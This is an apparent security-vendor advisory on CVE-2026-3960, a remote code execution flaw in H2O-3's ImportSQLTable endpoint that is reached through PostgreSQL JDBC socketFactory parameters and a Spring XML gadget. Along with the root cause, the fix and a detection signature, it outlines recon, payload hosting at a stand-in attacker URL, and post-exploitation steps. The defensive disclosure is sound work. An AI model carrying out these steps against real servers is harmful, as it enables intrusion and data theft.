
SonicWall Capture Labs threat research team became aware of the threat CVE-2026-3960, assessed its impact, and developed mitigation measures for this vulnerability. The flaw, also known as the H2O-3 ImportSQLTable PostgreSQL JDBC SocketFactory RCE, is a critical remote code execution vulnerability affecting the open-source H2O-3 machine learning platform (h2oai/h2o-3) in all releases up to and including 3.46.0.9. The vulnerability allows an unauthenticated remote attacker to execute arbitrary commands as the H2O JVM user by sending a single POST /99/ImportSQLTable request whose connection_url form parameter carries a malicious PostgreSQL JDBC URL. Classified under CWE-94 (Improper Control of Generation of Code) and rated CVSS 9.8 (Critical, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), the flaw was reported through the huntr.dev bug bounty program with a complete PoC, so weaponization is trivial. The EPSS score is modest because EPSS telemetry lags newly published bounties, but the practical reproducibility (default-enabled endpoint, no auth, public PoC) places real-world risk well above what EPSS implies. Affected products include every H2O-3 deployment that exposes the REST API or Flow UI with the PostgreSQL JDBC driver and Spring Context library on the classpath, a configuration common to analytics and data science deployments. Fixes are available in H2O-3 3.46.0.10. Users should upgrade immediately.
H2O-3 is an open-source distributed in-memory machine learning platform maintained by H2O.ai. The project sits at h2oai/h2o-3 on GitHub, carries roughly 7.5K stars and 2K forks, and ships under the Apache 2.0 license. H2O-3 powers tabular-data workflows for Deep Learning, GBM, XGBoost, Random Forest, GLM, K-Means, PCA, GAM, RuleFit, Stacked Ensembles, and AutoML, with R, Python, Scala, and Flow web front ends speaking to a single JVM backend.
The root cause of CVE-2026-3960 lives in h2o-core/src/main/java/water/jdbc/SQLManager.java. The validateJdbcUrl() function defends the JDBC import path by enforcing a denylist of dangerous JDBC parameters. In 3.46.0.9 the denylist covers MySQL gadget parameters (autoDeserialize, queryInterceptors, allowLoadLocalInfile, and others added in a 2024 hardening pass) and a small set of H2 driver parameters (init, script, shutdown). The PostgreSQL family of dangerous parameters (socketFactory, socketFactoryArg, sslfactory, sslfactoryarg, loggerLevel, loggerFile) was not added. As a result, an attacker can supply a connection_url that names a PostgreSQL driver, sets socketFactory to a Spring ClassPathXmlApplicationContext class, and points socketFactoryArg at a remote XML URL. The validation passes, the handler reaches DriverManager.getConnection(), and the chain fires inside the JDBC driver.


The handler binds to 0.0.0.0:54321 by default with no authentication, accepts form parameters connection_url, table, username, and password, validates the JDBC URL through the denylist, and hands the URL to the JDK DriverManager.getConnection(); whichever driver registered for jdbc:postgresql: takes control.

Inside the PostgreSQL JDBC driver, org.postgresql.core.SocketFactoryFactory.getSocketFactory(props) reads PGProperty.SOCKET_FACTORY and PGProperty.SOCKET_FACTORY_ARG from the URL query string and calls org.postgresql.util.ObjectFactory.instantiate(className, props, /* tryString= */ true, stringArg). In pgjdbc 42.6 and earlier, instantiate() performs Class.forName(name).getConstructor(String.class).newInstance(arg) before any type check. The Spring ClassPathXmlApplicationContext(String configLocation) constructor matches the lookup, fires immediately, and proceeds to fetch the URL named in socketFactoryArg, parse it as Spring bean definitions, and invoke any registered init-method. The published exploit ships a single bean of class java.lang.ProcessBuilder with init-method="start", which runs bash -c <attacker-command> as the H2O JVM user.

The security fix in H2O-3 3.46.0.10 (commit b9ae2d3c) adds the missing PostgreSQL JDBC gadget parameters (plus the MySQL statementInterceptors parameter) to DEFAULT_JDBC_DISALLOWED_PARAMETERS, and ships three JUnit cases that exercise the attack URL string verbatim to lock in regression coverage. Because the validation runs before DriverManager.getConnection(), the fix neutralizes the chain regardless of which PostgreSQL JDBC driver version is on the classpath.

The following conditions must be met for successful exploitation of CVE-2026-3960:
Exploiting CVE-2026-3960 requires a single unauthenticated HTTP POST plus an attacker-controlled HTTP server reachable from the H2O JVM. The wire format is fixed by the vulnerable code: method POST, URI /99/ImportSQLTable, body parameters connection_url, table, username, password, with connection_url carrying the malicious PostgreSQL JDBC URL. The egress XML body controls the post-exploitation action and can describe any Spring bean wiring the attacker chooses (a ProcessBuilder shell command, a reverse shell, secret exfiltration, persistence, or any combination).

| Component | Value | Purpose |
|---|---|---|
| Target Endpoint | POST /99/ImportSQLTable | Unauthenticated REST route handled by ImportSQLTableHandler |
| Default Port | 54321 | H2O REST + Flow UI; any reachable port is exploitable |
| Body Encoding | application/x-www-form-urlencoded | Required so the H2O schema binder populates ImportSQLTableV99 |
| Required Parameter | connection_url | JDBC URL carrying socketFactory and socketFactoryArg |
| Gadget Class | org.springframework.context.support.ClassPathXmlApplicationContext | Constructor takes a URL String and parses it as Spring beans |
| Egress Fetch | GET /evil.xml (fires twice) | H2O JVM fetches attacker XML, runs bean init-method |
| Server Response | HTTP/1.1 200 OK (JobV3 schema) | H2O dispatches the import as an async Job |
Step 1. Reconnaissance: The attacker probes for a live H2O Flow surface with GET /3/About, which returns a JSON payload containing the H2O version string. A vulnerable build reports Build project version: 3.46.0.9 (or earlier). A POST against /99/ImportSQLTable with an empty body returns HTTP 412 (precondition failed); a GET returns 404. The 412 versus 401 distinction is a high-confidence indicator that the endpoint exists and is unauthenticated.
Step 2. Exploit Delivery: The attacker hosts a Spring XML payload (commonly served by python3 -m http.server on TCP 9090) wiring a java.lang.ProcessBuilder bean with init-method="start" and argv of [bash, -c, <command>], then sends a single POST /99/ImportSQLTable carrying the malicious JDBC URL in connection_url. H2O validates the URL, dispatches the Job, and returns HTTP 200 with a JobV3 schema; the gadget chain fires inside the worker thread.
Step 3. Post-Exploitation: Inside the worker, pgjdbc resolves the socketFactory parameter, ObjectFactory.instantiate calls new ClassPathXmlApplicationContext("http://attacker:9090/evil.xml"), and Spring fetches and parses the XML. ProcessBuilder.start() runs the attacker's command as the H2O JVM user. Routine follow-on actions include reading process environment for cluster secrets and cloud metadata tokens, dropping a webshell into the JVM working directory, exfiltrating local model artifacts, opening a PTY-backed reverse shell, or installing persistence. None of these are part of the vulnerability itself; they are the natural consequence of arbitrary command execution in the server process.
Reproduction against H2O-3 3.46.0.9 confirmed full exploitation: a single POST returned HTTP 200, the JVM fetched the attacker XML, and a ProcessBuilder shell command executed as the JVM user. The same exploit body against patched 3.46.0.10 returns HTTP 400 with IllegalArgumentException: Potentially dangerous JDBC parameter found: socketFactory. Exploitation produces three observable network streams: the inbound POST to /99/ImportSQLTable, the JVM-initiated GETs for the Spring XML (two requests, due to the two-pass parse), and the optional reverse-shell socket.
To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signature has been released:
| Signature ID | Signature Name |
|---|---|
| IPS: 22199 | H2O-3 JDBC socketFactory Remote Code Execution |
The risks posed by CVE-2026-3960 can be mitigated or eliminated by:
Vulnerability disclosed through the huntr.dev bug bounty program under bounty identifier 6954fe04-b905-453f-8c53-205ac8377e0d and coordinated with the H2O.ai engineering team.
Third-party vulnerability database mirrors:
Share This Article

An Article By
An Article By
Security News
Security News